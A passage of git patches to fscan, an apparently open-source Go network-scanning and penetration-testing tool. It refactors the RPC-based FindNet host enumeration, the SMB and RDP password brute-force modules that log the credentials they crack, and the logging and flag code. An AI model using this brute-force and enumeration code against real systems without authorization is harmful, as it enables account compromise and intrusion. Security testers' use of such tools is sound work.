text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/FindNet.go | 164 +++++++++++++++++++++++++++++---------------- 1 file changed, 108 insertions(+), 56 deletions(-) diff --git a/Plugins/FindNet.go b/Plugins/FindNet.go index ef71538..4ab9299 100644 --- a/Plugins/FindNet.go +++ b/Plugins/FindNet.go @@ -5,26 +5,25 @@ import ( "encoding/hex" "fmt" "github.com/shadow1ng/fscan/Common" + "net" + "regexp" "strconv" "strings" "time" + "unicode" ) var ( - // RPC请求数据包 bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000") bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500") bufferV3, _ = hex.DecodeString("0900ffff0000") ) -// Findnet 探测Windows网络主机信息的入口函数 func Findnet(info *Common.HostInfo) error { return FindnetScan(info) } -// FindnetScan 通过RPC协议扫描网络主机信息 func FindnetScan(info *Common.HostInfo) error { - // 连接目标RPC端口 target := fmt.Sprintf("%s:%v", info.Host, 135) conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second) if err != nil { @@ -32,34 +31,28 @@ func FindnetScan(info *Common.HostInfo) error { } defer conn.Close() - // 设置连接超时 if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { return fmt.Errorf("[-] 设置超时失败: %v", err) } - // 发送第一个RPC请求 if _, err = conn.Write(bufferV1); err != nil { return fmt.Errorf("[-] 发送RPC请求1失败: %v", err) } - // 读取响应 reply := make([]byte, 4096) if _, err = conn.Read(reply); err != nil { return fmt.Errorf("[-] 读取RPC响应1失败: %v", err) } - // 发送第二个RPC请求 if _, err = conn.Write(bufferV2); err != nil { return fmt.Errorf("[-] 发送RPC请求2失败: %v", err) } - // 读取并检查响应 n, err := conn.Read(reply) if err != nil || n < 42 { return fmt.Errorf("[-] 读取RPC响应2失败: %v", err) } - // 解析响应数据 text := reply[42:] found := false for i := 0; i < len(text)-5; i++ { @@ -71,53 +64,74 @@ func FindnetScan(info *Common.HostInfo) error { } if !found { - fmt.Println("[+] FindNet扫描模块结束...") return fmt.Errorf("[-] 未找到有效的响应标记") } - // 解析主机信息 return read(text, info.Host) } -// HexUnicodeStringToString 将16进制Unicode字符串转换为可读字符串 func HexUnicodeStringToString(src string) string { - // 确保输入长度是4的倍数 if len(src)%4 != 0 { - src += src[:len(src)-len(src)%4] + src += strings.Repeat("0", 4-len(src)%4) } - // 转换为标准Unicode格式 - var sText string + var result strings.Builder for i := 0; i < len(src); i += 4 { - sText += "\\u" + src[i+2:i+4] + src[i:i+2] // 调整字节顺序 - } + if i+4 > len(src) { + break + } - // 解析每个Unicode字符 - unicodeChars := strings.Split(sText, "\\u") - var result string - - for _, char := range unicodeChars { - // 跳过空字符 - if len(char) < 1 { + charCode, err := strconv.ParseInt(src[i+2:i+4]+src[i:i+2], 16, 32) + if err != nil { continue } - // 将16进制转换为整数 - codePoint, err := strconv.ParseInt(char, 16, 32) - if err != nil { - return "" + if unicode.IsPrint(rune(charCode)) { + result.WriteRune(rune(charCode)) } - - // 转换为实际字符 - result += fmt.Sprintf("%c", codePoint) } - return result + return result.String() +} + +func isValidHostname(name string) bool { + if len(name) == 0 || len(name) > 255 { + return false + } + + validHostname := regexp.MustCompile(`^[a-zA-Z0-9][a-zA-Z0-9-]*[a-zA-Z0-9]$`) + return validHostname.MatchString(name) +} + +func isValidNetworkAddress(addr string) bool { + // 检查是否为IPv4或IPv6 + if ip := net.ParseIP(addr); ip != nil { + return true + } + + // 检查是否为有效主机名 + return isValidHostname(addr) +} + +func cleanAndValidateAddress(data []byte) string { + // 转换为字符串并清理不可打印字符 + addr := strings.Map(func(r rune) rune { + if unicode.IsPrint(r) { + return r + } + return -1 + }, string(data)) + + // 移除前后空白 + addr = strings.TrimSpace(addr) + + if isValidNetworkAddress(addr) { + return addr + } + return "" } -// read 解析并显示主机网络信息 func read(text []byte, host string) error { - // 将原始数据转换为16进制字符串 encodedStr := hex.EncodeToString(text) // 解析主机名 @@ -129,34 +143,72 @@ func read(text []byte, host string) error { hostName += encodedStr[i : i+4] } - // 转换主机名为可读字符串 name := HexUnicodeStringToString(hostName) + if !isValidHostname(name) { + name = "" + } + + // 构建基础结果 + result := fmt.Sprintf("[*] NetInfo 扫描结果") + result += fmt.Sprintf("\n[*] 目标主机: %s", host) + if name != "" { + result += fmt.Sprintf("\n[*] 主机名: %s", name) + } + result += "\n[*] 发现的网络接口:" + + // 用于分类存储地址 + var ipv4Addrs []string + var ipv6Addrs []string + seenAddresses := make(map[string]bool) // 解析网络信息 netInfo := strings.Replace(encodedStr, "0700", "", -1) - hosts := strings.Split(netInfo, "000000") - hosts = hosts[1:] // 跳过第一个空元素 + segments := strings.Split(netInfo, "000000") - // 构造输出结果 - result := fmt.Sprintf("[*] NetInfo\n[*] %s", host) - if name != "" { - result += fmt.Sprintf("\n [->] %s", name) - } - - // 解析每个网络主机信息 - for _, h := range hosts { - // 移除填充字节 - h = strings.Replace(h, "00", "", -1) - - // 解码主机信息 - hostInfo, err := hex.DecodeString(h) - if err != nil { - return fmt.Errorf("[-] 解码主机信息失败: %v", err) + // 处理每个网络地址 + for _, segment := range segments { + if len(segment) == 0 { + continue + } + + if len(segment)%2 != 0 { + segment = segment + "0" + } + + addrBytes, err := hex.DecodeString(segment) + if err != nil { + continue + } + + addr := cleanAndValidateAddress(addrBytes) + if addr != "" && !seenAddresses[addr] { + seenAddresses[addr] = true + + // 分类IPv4和IPv6地址 + if strings.Contains(addr, ":") { + ipv6Addrs = append(ipv6Addrs, addr) + } else if net.ParseIP(addr) != nil { + ipv4Addrs = append(ipv4Addrs, addr) + } + } + } + + // 输出IPv4地址 + if len(ipv4Addrs) > 0 { + result += "\n [+] IPv4地址:" + for _, addr := range ipv4Addrs { + result += fmt.Sprintf("\n └─ %s", addr) + } + } + + // 输出IPv6地址 + if len(ipv6Addrs) > 0 { + result += "\n [+] IPv6地址:" + for _, addr := range ipv6Addrs { + result += fmt.Sprintf("\n └─ %s", addr) } - result += fmt.Sprintf("\n [->] %s", string(hostInfo)) } - // 输出结果 Common.LogSuccess(result) return nil } From df4d39fb1f983011fbddbe76f9e5882a31bb66ec Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 1 Jan 2025 00:39:39 +0800 Subject: [PATCH 162/188] =?UTF-8?q?fix:=20=E4=BF=AE=E5=A4=8D=E4=BA=86SMB?= =?UTF-8?q?=E7=9A=84=E4=B8=80=E4=B8=AA=E5=B7=B2=E7=9F=A5=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/SMB.go | 176 ++++++++++++++++++++----------------------------- 1 file changed, 73 insertions(+), 103 deletions(-) diff --git a/Plugins/SMB.go b/Plugins/SMB.go index f9e036b..049dbbe 100644 --- a/Plugins/SMB.go +++ b/Plugins/SMB.go @@ -1,7 +1,6 @@ package Plugins import ( - "errors" "fmt" "github.com/shadow1ng/fscan/Common" "github.com/stacktitan/smb/smb" @@ -10,24 +9,20 @@ import ( "time" ) -// SmbScan 执行SMB服务的认证扫描 func SmbScan(info *Common.HostInfo) (tmperr error) { if Common.DisableBrute { return nil } - maxRetries := Common.MaxRetries threads := Common.BruteThreads + totalTasks := len(Common.Userdict["smb"]) * len(Common.Passwords) - // 创建任务通道 taskChan := make(chan struct { user string pass string - }, len(Common.Userdict["smb"])*len(Common.Passwords)) + }, totalTasks) - resultChan := make(chan error, threads) - - // 生成所有用户名密码组合任务 + // 生成任务 for _, user := range Common.Userdict["smb"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) @@ -39,108 +34,48 @@ func SmbScan(info *Common.HostInfo) (tmperr error) { } close(taskChan) - // 启动工作线程 var wg sync.WaitGroup + successChan := make(chan struct{}, 1) + + // 启动工作线程 for i := 0; i < threads; i++ { wg.Add(1) go func() { defer wg.Done() - startTime := time.Now().Unix() - for task := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-startTime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") - return + select { + case <-successChan: + return + default: + } + + success, err := doWithTimeOut(info, task.user, task.pass) + if success { + if Common.Domain != "" { + Common.LogSuccess(fmt.Sprintf("[+] SMB认证成功 %v:%v Domain:%v\\%v Pass:%v", + info.Host, info.Ports, Common.Domain, task.user, task.pass)) + } else { + Common.LogSuccess(fmt.Sprintf("[+] SMB认证成功 %v:%v User:%v Pass:%v", + info.Host, info.Ports, task.user, task.pass)) } - - // 执行SMB认证 - done := make(chan struct { - success bool - err error - }) - - go func(user, pass string) { - success, err := doWithTimeOut(info, user, pass) - done <- struct { - success bool - err error - }{success, err} - }(task.user, task.pass) - - // 等待结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.success && err == nil { - // 认证成功 - var successLog string - if Common.Domain != "" { - successLog = fmt.Sprintf("[✓] SMB认证成功 %v:%v Domain:%v\\%v Pass:%v", - info.Host, info.Ports, Common.Domain, task.user, task.pass) - } else { - successLog = fmt.Sprintf("[✓] SMB认证成功 %v:%v User:%v Pass:%v", - info.Host, info.Ports, task.user, task.pass) - } - Common.LogSuccess(successLog) - resultChan <- nil - return - } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - err = fmt.Errorf("连接超时") - } - - // 处理错误情况 - if err != nil { - errlog := fmt.Sprintf("[x] SMB认证失败 %v:%v User:%v Pass:%v Err:%v", - info.Host, info.Ports, task.user, task.pass, - strings.ReplaceAll(err.Error(), "\n", "")) - Common.LogError(errlog) - - // 检查是否需要重试 - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- err - return - } - continue // 继续重试 - } - } - - break // 如果不需要重试,跳出重试循环 + successChan <- struct{}{} + return + } + if err != nil { + Common.LogError(fmt.Sprintf("[-] SMB认证失败 %v:%v User:%v Pass:%v Err:%v", + info.Host, info.Ports, task.user, task.pass, err)) } } - resultChan <- nil }() } - // 等待所有线程完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 检查结果 - for err := range resultChan { - if err != nil { - tmperr = err - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err - } - } - } - - return tmperr + wg.Wait() + return nil } -// SmblConn 尝试建立SMB连接并进行认证 func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { flag = false - // 配置SMB连接选项 options := smb.Options{ Host: info.Host, Port: 445, @@ -150,34 +85,69 @@ func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struc Workstation: "", } - // 尝试建立SMB会话 session, err := smb.NewSession(options, false) if err == nil { defer session.Close() if session.IsAuthenticated { flag = true + return flag, nil + } + return flag, fmt.Errorf("认证失败") + } + + // 清理错误信息中的换行符和多余空格 + errMsg := strings.TrimSpace(strings.ReplaceAll(err.Error(), "\n", " ")) + if strings.Contains(errMsg, "NT Status Error") { + switch { + case strings.Contains(errMsg, "STATUS_LOGON_FAILURE"): + err = fmt.Errorf("用户名或密码错误") + case strings.Contains(errMsg, "STATUS_ACCOUNT_LOCKED_OUT"): + err = fmt.Errorf("账号已锁定") + case strings.Contains(errMsg, "STATUS_ACCESS_DENIED"): + err = fmt.Errorf("访问被拒绝") + case strings.Contains(errMsg, "STATUS_ACCOUNT_DISABLED"): + err = fmt.Errorf("账号已禁用") + case strings.Contains(errMsg, "STATUS_PASSWORD_EXPIRED"): + err = fmt.Errorf("密码已过期") + case strings.Contains(errMsg, "STATUS_USER_SESSION_DELETED"): + return flag, fmt.Errorf("会话已断开") + default: + err = fmt.Errorf("认证失败") // 简化错误信息 } } - // 发送完成信号 signal <- struct{}{} return flag, err } -// doWithTimeOut 执行带超时的SMB连接认证 func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool, err error) { - signal := make(chan struct{}) + signal := make(chan struct{}, 1) + result := make(chan struct { + success bool + err error + }, 1) - // 在goroutine中执行SMB连接 go func() { - flag, err = SmblConn(info, user, pass, signal) + success, err := SmblConn(info, user, pass, signal) + select { + case result <- struct { + success bool + err error + }{success, err}: + default: + } }() - // 等待连接结果或超时 select { - case <-signal: - return flag, err + case r := <-result: + return r.success, r.err case <-time.After(time.Duration(Common.Timeout) * time.Second): - return false, errors.New("[-] SMB连接超时") + // 尝试从result通道读取,避免协程泄露 + select { + case r := <-result: + return r.success, r.err + default: + return false, fmt.Errorf("连接超时") + } } } From d13e1952e9c24245988c5fd69e93a5587ab4e0c5 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 1 Jan 2025 00:50:36 +0800 Subject: [PATCH 163/188] =?UTF-8?q?fix:=20=E4=BF=AE=E5=A4=8D=E4=BA=86RDP?= =?UTF-8?q?=E7=9A=84=E4=B8=80=E4=B8=AA=E6=AD=BB=E9=94=81=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/RDP.go | 78 +++++++++++++++++++++++++++++++++++++++----------- 1 file changed, 62 insertions(+), 16 deletions(-) diff --git a/Plugins/RDP.go b/Plugins/RDP.go index a14255d..30f779b 100644 --- a/Plugins/RDP.go +++ b/Plugins/RDP.go @@ -38,38 +38,84 @@ func RdpScan(info *Common.HostInfo) (tmperr error) { } var ( - wg sync.WaitGroup - signal bool - num = 0 - all = len(Common.Userdict["rdp"]) * len(Common.Passwords) - mutex sync.Mutex + wg sync.WaitGroup + num = 0 + all = len(Common.Userdict["rdp"]) * len(Common.Passwords) + mutex sync.Mutex ) - // 创建任务通道 + // 创建任务通道和结果通道 brlist := make(chan Brutelist) + resultChan := make(chan bool) + port, _ := strconv.Atoi(info.Ports) // 启动工作协程 for i := 0; i < Common.BruteThreads; i++ { wg.Add(1) - go worker(info.Host, Common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, Common.Timeout) + go func() { + defer wg.Done() + for one := range brlist { + select { + case <-resultChan: // 检查是否已经找到有效凭据 + return + default: + } + + mutex.Lock() + num++ + mutex.Unlock() + + user, pass := one.user, one.pass + flag, err := RdpConn(info.Host, Common.Domain, user, pass, port, Common.Timeout) + + if flag && err == nil { + // 连接成功 + var result string + if Common.Domain != "" { + result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", info.Host, port, Common.Domain, user, pass) + } else { + result = fmt.Sprintf("[+] RDP %v:%v:%v %v", info.Host, port, user, pass) + } + Common.LogSuccess(result) + select { + case resultChan <- true: // 通知其他goroutine找到了有效凭据 + default: + } + return + } + + // 连接失败 + errlog := fmt.Sprintf("[-] (%v/%v) RDP %v:%v %v %v %v", num, all, info.Host, port, user, pass, err) + Common.LogError(errlog) + } + }() } // 分发扫描任务 - for _, user := range Common.Userdict["rdp"] { - for _, pass := range Common.Passwords { - pass = strings.Replace(pass, "{user}", user, -1) - brlist <- Brutelist{user, pass} + go func() { + for _, user := range Common.Userdict["rdp"] { + for _, pass := range Common.Passwords { + pass = strings.Replace(pass, "{user}", user, -1) + select { + case <-resultChan: // 如果已经找到有效凭据,停止分发任务 + return + case brlist <- Brutelist{user, pass}: + } + } } - } - close(brlist) + close(brlist) + }() - // 等待所有任务完成 + // 等待任务完成或找到有效凭据 go func() { wg.Wait() - signal = true + close(resultChan) }() - for !signal { + + // 等待结果 + if <-resultChan { + return nil } return tmperr From 277ea5d332e10474420fdd63ea0d117fa2287f5f Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 1 Jan 2025 05:24:49 +0800 Subject: [PATCH 164/188] =?UTF-8?q?refactor:=20=E8=BE=93=E5=87=BA=E6=A0=BC?= =?UTF-8?q?=E5=BC=8F=E9=87=8D=E6=9E=84=EF=BC=8C=E9=87=8D=E6=9E=84SMB?= =?UTF-8?q?=E3=80=81SMB2=E3=80=81FTP=E7=9A=84=E4=B8=80=E4=BA=9B=E9=AA=8C?= =?UTF-8?q?=E8=AF=81=E9=80=BB=E8=BE=91?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 6 +- Common/Flag.go | 8 +- Common/Log.go | 307 ++++++++++++++++++++++++----------- Common/Parse.go | 48 +++--- Common/ParseIP.go | 92 ++++------- Common/ParsePort.go | 8 +- Common/ParseScanMode.go | 12 +- Core/ICMP.go | 6 +- Core/PortScan.go | 76 ++------- Core/Scanner.go | 56 +++---- Plugins/ActiveMQ.go | 2 +- Plugins/Base.go | 12 +- Plugins/Cassandra.go | 4 +- Plugins/Elasticsearch.go | 4 +- Plugins/FTP.go | 107 ++++++------ Plugins/FindNet.go | 18 +-- Plugins/IMAP.go | 4 +- Plugins/Kafka.go | 6 +- Plugins/LDAP.go | 4 +- Plugins/MS17010-Exp.go | 126 +++++++-------- Plugins/MS17010.go | 135 +++++++++------- Plugins/MSSQL.go | 2 +- Plugins/Memcached.go | 4 +- Plugins/Modbus.go | 4 +- Plugins/Mongodb.go | 4 +- Plugins/MySQL.go | 4 +- Plugins/Neo4j.go | 4 +- Plugins/NetBIOS.go | 2 +- Plugins/Oracle.go | 4 +- Plugins/POP3.go | 6 +- Plugins/Postgres.go | 4 +- Plugins/RDP.go | 12 +- Plugins/RabbitMQ.go | 6 +- Plugins/Redis.go | 64 ++++---- Plugins/Rsync.go | 6 +- Plugins/SMB.go | 139 +++++++++------- Plugins/SMB2.go | 339 +++++++++++++++++---------------------- Plugins/SMTP.go | 4 +- Plugins/SNMP.go | 6 +- Plugins/SSH.go | 14 +- Plugins/Telnet.go | 6 +- Plugins/VNC.go | 4 +- Plugins/WebTitle.go | 6 +- WebScan/lib/Check.go | 45 +++--- go.mod | 6 +- go.sum | 9 ++ main.go | 1 + 47 files changed, 879 insertions(+), 867 deletions(-) diff --git a/Common/Config.go b/Common/Config.go index ffbe57d..22a1230 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -104,7 +104,11 @@ var ( EnableWmi bool // 原IsWmi // 输出配置 - DisableSave bool // 原TmpSave + DisableSave bool // 禁止保存结果 + Silent bool // 静默模式 + NoColor bool // 禁用彩色输出 + JsonFormat bool // JSON格式输出 + LogLevel string // 日志输出级别 ) var ( diff --git a/Common/Flag.go b/Common/Flag.go index be655ce..d413231 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -73,7 +73,7 @@ func Flag(Info *HostInfo) { " 漏洞类: ms17010, smbghost, smb2\n"+ " 其他: findnet, wmiexec, localinfo") flag.BoolVar(&UseSynScan, "sS", false, "使用SYN扫描替代TCP全连接扫描(需要root/管理员权限)") - flag.IntVar(&ThreadNum, "t", 600, "设置扫描线程数") + flag.IntVar(&ThreadNum, "t", 60, "设置扫描线程数") flag.Int64Var(&Timeout, "time", 3, "设置连接超时时间(单位:秒)") flag.IntVar(&LiveTop, "top", 10, "仅显示指定数量的存活主机") flag.BoolVar(&DisablePing, "np", false, "禁用主机存活探测") @@ -126,9 +126,9 @@ func Flag(Info *HostInfo) { flag.StringVar(&Outputfile, "o", "result.txt", "指定结果输出文件名") flag.BoolVar(&DisableSave, "no", false, "禁止保存扫描结果") flag.BoolVar(&Silent, "silent", false, "启用静默扫描模式(减少屏幕输出)") - flag.BoolVar(&Nocolor, "nocolor", false, "禁用彩色输出显示") - flag.BoolVar(&JsonOutput, "json", false, "以JSON格式输出结果") - flag.Int64Var(&WaitTime, "debug", 60, "设置错误日志输出时间间隔(单位:秒)") + flag.BoolVar(&NoColor, "nocolor", false, "禁用彩色输出显示") + flag.BoolVar(&JsonFormat, "json", false, "以JSON格式输出结果") + flag.StringVar(&LogLevel, "log", LogLevelAll, "日志输出级别(ALL/SUCCESS/ERROR/INFO/DEBUG)") flag.Parse() } diff --git a/Common/Log.go b/Common/Log.go index bfa6f96..7c031a8 100644 --- a/Common/Log.go +++ b/Common/Log.go @@ -1,139 +1,250 @@ package Common import ( + "bufio" "encoding/json" "fmt" - "github.com/fatih/color" "io" "log" "os" + "path/filepath" + "runtime" "strings" "sync" "time" + + "github.com/fatih/color" ) -// 记录扫描状态的全局变量 var ( - Num int64 // 总任务数 - End int64 // 已完成数 - Results = make(chan *string) // 结果通道 - LogSucTime int64 // 最近成功日志时间 - LogErrTime int64 // 最近错误日志时间 - WaitTime int64 // 等待时间 - Silent bool // 静默模式 - Nocolor bool // 禁用颜色 - JsonOutput bool // JSON输出 - LogWG sync.WaitGroup // 日志同步等待组 + // 全局变量 + status = &ScanStatus{lastSuccess: time.Now(), lastError: time.Now()} + results = make(chan *LogEntry, 1000) // 使用缓冲通道 + logWG sync.WaitGroup + + // 扫描计数 + Num int64 // 总任务数 + End int64 // 已完成任务数 ) -// JsonText JSON输出的结构体 -type JsonText struct { - Type string `json:"type"` // 消息类型 - Text string `json:"text"` // 消息内容 +// 将 results 改名为 Results 使其可导出 +var ( + Results = results // 使 results 可导出 + LogWG = logWG // 使 logWG 可导出 +) + +// ScanStatus 记录扫描状态 +type ScanStatus struct { + mu sync.RWMutex + total int64 + completed int64 + lastSuccess time.Time + lastError time.Time +} + +// LogEntry 日志条目 +type LogEntry struct { + Level string // "ERROR", "INFO", "SUCCESS", "DEBUG" + Time time.Time + Content string +} + +// LogLevel 定义日志等级常量 +const ( + LogLevelAll = "ALL" // 输出所有日志 + LogLevelError = "ERROR" // 错误日志 + LogLevelInfo = "INFO" // 信息日志 + LogLevelSuccess = "SUCCESS" // 成功日志 + LogLevelDebug = "DEBUG" // 调试日志 +) + +// 定义日志颜色映射 +var logColors = map[string]color.Attribute{ + LogLevelError: color.FgRed, + LogLevelInfo: color.FgYellow, + LogLevelSuccess: color.FgGreen, + LogLevelDebug: color.FgBlue, +} + +// bufferedFileWriter 文件写入器 +type bufferedFileWriter struct { + file *os.File + writer *bufio.Writer + jsonEnc *json.Encoder } -// init 初始化日志配置 func init() { log.SetOutput(io.Discard) - LogSucTime = time.Now().Unix() - go SaveLog() + go processLogs() +} + +// formatLogMessage 格式化日志消息 +func formatLogMessage(entry *LogEntry) string { + timeStr := entry.Time.Format("2006-01-02 15:04:05") + return fmt.Sprintf("[%s] [%s] %s", timeStr, entry.Level, entry.Content) +} + +func printLog(entry *LogEntry) { + // 根据配置的日志级别过滤 + if LogLevel != LogLevelAll && entry.Level != LogLevel { + return + } + + logMsg := formatLogMessage(entry) + if NoColor { + fmt.Println(logMsg) + return + } + + if colorAttr, ok := logColors[entry.Level]; ok { + color.New(colorAttr).Println(logMsg) + } else { + fmt.Println(logMsg) + } +} + +// 同样修改 LogError 和 LogInfo +func LogError(errMsg string) { + // 获取调用者信息 + _, file, line, ok := runtime.Caller(1) + if !ok { + file = "unknown" + line = 0 + } + // 只获取文件名 + file = filepath.Base(file) + + // 格式化错误消息 + errorMsg := fmt.Sprintf("%s:%d - %s", file, line, errMsg) + + select { + case Results <- &LogEntry{ + Level: LogLevelError, + Time: time.Now(), + Content: errorMsg, + }: + logWG.Add(1) + default: + printLog(&LogEntry{ + Level: LogLevelError, + Time: time.Now(), + Content: errorMsg, + }) + } +} + +func LogInfo(msg string) { + select { + case Results <- &LogEntry{ + Level: LogLevelInfo, + Time: time.Now(), + Content: msg, + }: + logWG.Add(1) + default: + printLog(&LogEntry{ + Level: LogLevelInfo, + Time: time.Now(), + Content: msg, + }) + } } // LogSuccess 记录成功信息 func LogSuccess(result string) { - LogWG.Add(1) - LogSucTime = time.Now().Unix() - Results <- &result -} - -// SaveLog 保存日志信息 -func SaveLog() { - for result := range Results { - // 打印日志 - if !Silent { - if Nocolor { - fmt.Println(*result) - } else { - switch { - case strings.HasPrefix(*result, "[+] 信息扫描"): - color.Green(*result) - case strings.HasPrefix(*result, "[+]"): - color.Red(*result) - default: - fmt.Println(*result) - } - } - } - - // 保存到文件 - if IsSave { - WriteFile(*result, Outputfile) - } - LogWG.Done() + // 添加通道关闭检查 + select { + case Results <- &LogEntry{ + Level: LogLevelSuccess, + Time: time.Now(), + Content: result, + }: + logWG.Add(1) + status.mu.Lock() + status.lastSuccess = time.Now() + status.mu.Unlock() + default: + // 如果通道已关闭或已满,直接打印 + printLog(&LogEntry{ + Level: LogLevelSuccess, + Time: time.Now(), + Content: result, + }) } } -// WriteFile 写入文件 -func WriteFile(result string, filename string) { - // 打开文件 - fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666) +// JsonOutput JSON输出的结构体 +type JsonOutput struct { + Level string `json:"level"` + Timestamp time.Time `json:"timestamp"` + Message string `json:"message"` +} + +// processLogs 处理日志信息 +func processLogs() { + writer := newBufferedFileWriter() + defer writer.close() + + for entry := range results { + if !Silent { + printLog(entry) + } + + if writer != nil { + writer.write(entry) + } + + logWG.Done() + } +} + +func newBufferedFileWriter() *bufferedFileWriter { + if DisableSave { + return nil + } + + file, err := os.OpenFile(Outputfile, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666) if err != nil { - fmt.Printf("[-] 打开文件失败 %s: %v\n", filename, err) + fmt.Printf("[ERROR] 打开输出文件失败 %s: %v\n", Outputfile, err) + return nil + } + + writer := bufio.NewWriter(file) + return &bufferedFileWriter{ + file: file, + writer: writer, + jsonEnc: json.NewEncoder(writer), + } +} + +func (w *bufferedFileWriter) write(entry *LogEntry) { + if w == nil { return } - defer fl.Close() - if JsonOutput { - // 解析JSON格式 - var scantype, text string - if strings.HasPrefix(result, "[+]") || strings.HasPrefix(result, "[*]") || strings.HasPrefix(result, "[-]") { - index := strings.Index(result[4:], " ") - if index == -1 { - scantype = "msg" - text = result[4:] - } else { - scantype = result[4 : 4+index] - text = result[4+index+1:] - } - } else { - scantype = "msg" - text = result + if JsonFormat { + output := JsonOutput{ + Level: entry.Level, + Timestamp: entry.Time, + Message: entry.Content, } - - // 构造JSON对象 - jsonText := JsonText{ - Type: scantype, - Text: text, + if err := w.jsonEnc.Encode(output); err != nil { + fmt.Printf("[ERROR] JSON编码失败: %v\n", err) } - - // 序列化JSON - jsonData, err := json.Marshal(jsonText) - if err != nil { - fmt.Printf("[-] JSON序列化失败: %v\n", err) - jsonText = JsonText{ - Type: "msg", - Text: result, - } - jsonData, _ = json.Marshal(jsonText) - } - jsonData = append(jsonData, []byte(",\n")...) - _, err = fl.Write(jsonData) } else { - _, err = fl.Write([]byte(result + "\n")) + logMsg := formatLogMessage(entry) + "\n" + if _, err := w.writer.WriteString(logMsg); err != nil { + fmt.Printf("[ERROR] 写入文件失败: %v\n", err) + } } - if err != nil { - fmt.Printf("[-] 写入文件失败 %s: %v\n", filename, err) - } + w.writer.Flush() } -// LogError 记录错误信息 -func LogError(errinfo interface{}) { - if WaitTime == 0 { - fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo) - } else if (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime { - fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo) - LogErrTime = time.Now().Unix() +func (w *bufferedFileWriter) close() { + if w != nil { + w.writer.Flush() + w.file.Close() } } diff --git a/Common/Parse.go b/Common/Parse.go index a6a1f6f..14a3b51 100644 --- a/Common/Parse.go +++ b/Common/Parse.go @@ -19,7 +19,7 @@ func Parse(Info *HostInfo) error { return nil } -// ParseUser 解析用户名配置,支持直接指定用户名列表或从文件读取 +// ParseUser 解析用户名配置 func ParseUser() error { // 如果未指定用户名和用户名文件,直接返回 if Username == "" && UsersFile == "" { @@ -31,7 +31,7 @@ func ParseUser() error { // 处理直接指定的用户名列表 if Username != "" { usernames = strings.Split(Username, ",") - fmt.Printf("[*] 已加载直接指定的用户名: %d 个\n", len(usernames)) + LogInfo(fmt.Sprintf("加载用户名: %d 个", len(usernames))) } // 从文件加载用户名列表 @@ -47,12 +47,12 @@ func ParseUser() error { usernames = append(usernames, user) } } - fmt.Printf("[*] 已从文件加载用户名: %d 个\n", len(users)) + LogInfo(fmt.Sprintf("从文件加载用户名: %d 个", len(users))) } // 去重处理 usernames = RemoveDuplicate(usernames) - fmt.Printf("[*] 去重后用户名总数: %d 个\n", len(usernames)) + LogInfo(fmt.Sprintf("用户名总数: %d 个", len(usernames))) // 更新用户字典 for name := range Userdict { @@ -74,7 +74,7 @@ func ParsePass(Info *HostInfo) error { } } Passwords = pwdList - fmt.Printf("[*] 已加载直接指定的密码: %d 个\n", len(pwdList)) + LogInfo(fmt.Sprintf("加载密码: %d 个", len(pwdList))) } // 从文件加载密码列表 @@ -89,7 +89,7 @@ func ParsePass(Info *HostInfo) error { } } Passwords = pwdList - fmt.Printf("[*] 已从文件加载密码: %d 个\n", len(passes)) + LogInfo(fmt.Sprintf("从文件加载密码: %d 个", len(passes))) } // 处理哈希文件 @@ -108,10 +108,10 @@ func ParsePass(Info *HostInfo) error { HashValues = append(HashValues, line) validCount++ } else { - fmt.Printf("[-] 无效的哈希值(长度!=32): %s\n", line) + LogError(fmt.Sprintf("无效的哈希值: %s (长度!=32)", line)) } } - fmt.Printf("[*] 已加载有效哈希值: %d 个\n", validCount) + LogInfo(fmt.Sprintf("加载有效哈希值: %d 个", validCount)) } // 处理直接指定的URL列表 @@ -126,7 +126,7 @@ func ParsePass(Info *HostInfo) error { } } } - fmt.Printf("[*] 已加载直接指定的URL: %d 个\n", len(URLs)) + LogInfo(fmt.Sprintf("加载URL: %d 个", len(URLs))) } // 从文件加载URL列表 @@ -145,7 +145,7 @@ func ParsePass(Info *HostInfo) error { } } } - fmt.Printf("[*] 已从文件加载URL: %d 个\n", len(urls)) + LogInfo(fmt.Sprintf("从文件加载URL: %d 个", len(urls))) } // 从文件加载端口列表 @@ -163,7 